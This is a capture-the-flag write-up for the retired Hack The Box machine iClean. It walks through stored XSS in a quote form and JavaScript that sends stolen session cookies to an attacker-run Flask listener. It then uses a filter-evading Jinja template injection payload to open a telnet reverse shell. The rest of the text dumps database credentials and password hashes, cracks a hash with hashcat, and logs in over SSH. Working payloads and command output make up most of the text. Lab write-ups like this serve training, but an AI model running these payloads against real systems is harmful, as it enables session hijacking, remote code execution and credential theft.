HTB Write-up | iClean (user-only)

Write-up for iClean, a retired HTB Linux machine.

HTB Write-up | iClean (user-only)

Retired machine can be found here.


Let's start with a basic scan:

~ nmap -F 10.10.11.12

22/tcp open  ssh
80/tcp open  http

10.10.11.12 redirects to capiclean.htb, so let's map out this domain.

~ sudo nano /etc/hosts

10.10.11.12 capiclean.htb
http://capiclean.htb/

The login page is very simple:

POST /login HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin

From the "Team" page we can see the names of at least some of the cleaners.

Let's see if we can get a different server response when trying to log in with any of these users:

https://github.com/urbanadventurer/username-anarchy

~ username-anarchy mary pikes
~ username-anarchy mary pikes --suffix capiclean.htb
~ username-anarchy martha smith
~ username-anarchy martha smith --suffix capiclean.htb
~ username-anarchy jasmine summers
~ username-anarchy jasmine summers --suffix capiclean.htb
~ username-anarchy mike samuels
~ username-anarchy mike samuels --suffix capiclean.htb

All of the above return a generic error message, and there is no consistent time difference in the response.

Directory enumeration with gobuster didn't find much except a dashboard page, which likely requires authentication.

~ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-big.txt

~ gobuster dir -u http://capiclean.htb/ -w directory-list-2.3-big.txt -s "200,204,301,302,307,401,403,405,500"

/about                (Status: 200) [Size: 5267]
/login                (Status: 200) [Size: 2106]
/services             (Status: 200) [Size: 8592]
/team                 (Status: 200) [Size: 8109]
/quote                (Status: 200) [Size: 2237]
/logout               (Status: 302) [Size: 189] [--> /]
/dashboard            (Status: 302) [Size: 189] [--> /]
/choose               (Status: 200) [Size: 6084]
/server-status        (Status: 403) [Size: 278]

The quote page also sends a very simple request:

POST /sendMessage HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded

service=Carpet+Cleaning&service=Tile+%26+Grout&service=Office+Cleaning&email=test%40htb.com

Testing these fields for XSS we get a hit on all the ports defined for the service parameter:

POST /sendMessage HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded

service=<img%20src='http://10.10.14.69:9001'/>&service=<img%20src='http://10.10.14.69:9002'/>&service=<img%20src='http://10.10.14.69:9003'/>&email=<img%20src='http://10.10.14.69:9004'/>

From XSS to Auth Bypass

Let's try to steal some cookies!

First, I'll setup a simple Flask API to receive POST requests from the injected JavaScript payload:

import json
from flask import Flask, request
from flask_cors import CORS
from urllib.parse import unquote
import base64

app = Flask(__name__)
CORS(app)

@app.route('/api/exfil', methods=['POST'])
def exfil():
    print("[+] Received data ")
    encoding = request.args.get('encoding')
    data = request.form.get('data')
    try:
        decoded_data = unquote(unquote(data))
        if encoding is not None and encoding == 'base64':
            print(base64.b64decode(decoded_data))
        else:
            print(decoded_data)
    except Exception as exception:
        print(f'Something went wrong: {exception}')
        return json.dumps({'success':False}), 500, {'ContentType':'application/json'}
    return json.dumps({'success':True}), 200, {'ContentType':'application/json'}

app.run(host='0.0.0.0', port=9000)

Now, let's build our payload:

(function () {
    const attackers_ip = '10.10.14.69';
    const flask_api_port = '9000';
    var exfil_data = function(data) {
        encoded_data = encodeURIComponent(data);
        fetch(
            `http://${attackers_ip}:${flask_api_port}/api/exfil?encoding=base64`,
            {
                method: 'POST',
                headers: { "Content-Type": "application/x-www-form-urlencoded" },
                body: "data=" + encoded_data
            }
        );
    }
    var attack = function() {
        try {
            exfil_data(btoa(document.cookie))
        } catch(error) {
            fetch(`http://${attackers_ip}?debug=${error.message}`)
        }
    }
    attack();
}());
exfil_cookie.js

It seems like the JS file is being invoked but not executed ...

Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.12 - - [02/Aug/2024 15:48:01] "GET /exfil_cookie.js HTTP/1.1" 200 -

After some tweaking we get a working payload:

POST /sendMessage HTTP/1.1
Host: capiclean.htb
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 211

service=%3Cimg%20src%3Dx%20onerror%3D%22var%20script1%3Ddocument.createElement%28%27script%27%29%3Bscript1.src%3D%27http%3A//10.10.14.69%3A80/exfil_cookie.js%27%3Bdocument.head.appendChild%28script1%29%3B%22/%3E

// Decoded: 
// <img src=x onerror="var script1=document.createElement('script');script1.src='http://10.10.14.69:80/exfil_cookie.js';document.head.appendChild(script1);"/>

We have a cookie!

session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0

From Auth Bypass to RCE

With this cookie we can now access the dashboard page:

http://capiclean.htb/dashboard

We can generate a new invoice, which generates an ID:

POST /InvoiceGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0

selected_service=Basic+Cleaning&qty=1&project=abc&client=abc&address=abc&email-address=admin%40capiclean.htb

The IDs are not sequential:

2481856170 
7829583255
7193822935

With these IDs we can generate a QR code:

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0

form_type=invoice_id&invoice_id=2481856170

The response contains a URL that points to a QR code:

<p>QR Code Link: <a href="http://capiclean.htb/static/qr_code/qr_code_2481856170.png" target="_blank">http://capiclean.htb/static/qr_code/qr_code_2481856170.png</a></p>

This link can then be used to generate a "scannable invoice":

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0

invoice_id=&form_type=scannable_invoice&qr_link=http%3A%2F%2Fcapiclean.htb%2Fstatic%2Fqr_code%2Fqr_code_2481856170.png

It looks like when a valid image is found, its content is base64-encoded and embedded in the response:

<div class="qr-code">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGIAAABiAQAAAACD3jujAAABTElEQVR4nL3UPaplMQgAYMFWcCuCreDWA2mFbCVgG3Ay583APXjrl+6DgPEvUB9nwC8IMOeAZRu8yXP52WhZXaKOkfMofhNFivJ3LZ+5ML/IM3YFz//xPgWozxHouolk6b33L79PHQkRS6rZZYE2tsSxLhJVDJpnd6GFuVUUd00Ihp0Gz6vf4kJKTdzepVurnGlBl1DKMruv78o5bQxWfrJ9i3yzLzHDLgGyIYfGE/2t2y8N9VSpLj3TaAoMb5oEY0ZkPRHeqrx3+WB6VzIzDphRXVO0DNP0p54v7RW4yHBL1y37AIzw+CI7lg5yRjUd2WORWK0uOTqB3Ry7AEeSxTD2Ltp35GrfVjfxFLtTOQG67ggQnRvjp2YvAbqMQ6bYdTcHh6U4edNdxCXCBPxN9LeRdw2+6WYUIWRdz88w6LB2Ac4Mp6NcTb/71/0BhwD5EVZWwGQAAAAASUVORK5CYII=" alt="QR Code">
</div>

Playing around with this field, we find that it's likely vulnerable to SSTI:

POST /QRGenerator HTTP/1.1
Host: capiclean.htb
Content-Type: application/x-www-form-urlencoded
Cookie: session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqxaVg.NOZsmSfBZjwVvCVLRC7gIpLywb0
Upgrade-Insecure-Requests: 1

invoice_id=&form_type=scannable_invoice&qr_link={{7*7}}
<div class="qr-code-container"><div class="qr-code"><img src="data:image/png;base64,49" alt="QR Code"></div>
</body>

After some trial and error (and with a lot of help from this article), we get a working RCE:

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('telnet 10.10.14.69 4444 | /bin/sh | telnet 10.10.14.69 4445')|attr('read')()%}{%print(a)%}{%endwith%}

Let's upgrade the telnet shell and enumerate:

python3 -c 'import pty; pty.spawn("/bin/bash")'
$ ls -la
-rw-r--r-- 1 root root 12553 Mar  2 07:29 app.py
drwxr-xr-x 6 root root  4096 Sep 27  2023 static
drwxr-xrwx 2 root root  4096 Aug  2 17:30 templates

$ cat app.py

[...]
db_config = {
    "host": "127.0.0.1",
    "user": "iclean",
    "password": "pxCsmnGLckUb",
    "database": "capiclean"
}
[...]

$ mysql -u iclean -ppxCsmnGLckUb capiclean

> select * from users;

| id | username | password | role_id |
+----+----------+----------+----------------------------------+
|  1 | admin    | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
|  2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------+----------------------------------+
2 rows in set (0.00 sec)

Let's crack consuela's hash:

~ hashcat -a 0 -m 1400 consuela_hash.txt ../../../rockyou.txt --status --status-timer=10 -w 3 --show

0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean

As expected, we can now SSH into the machine as consuela:

~ ssh consuela@capiclean.htb
consuela@capiclean.htb's password: simple and clean

[...]
You have mail.
Last login: Fri Aug  2 14:10:18 2024 from 10.10.14.108

consuela@iclean:~$ cat user.txt
163c1a080901773d156dfa33fe4a4d3e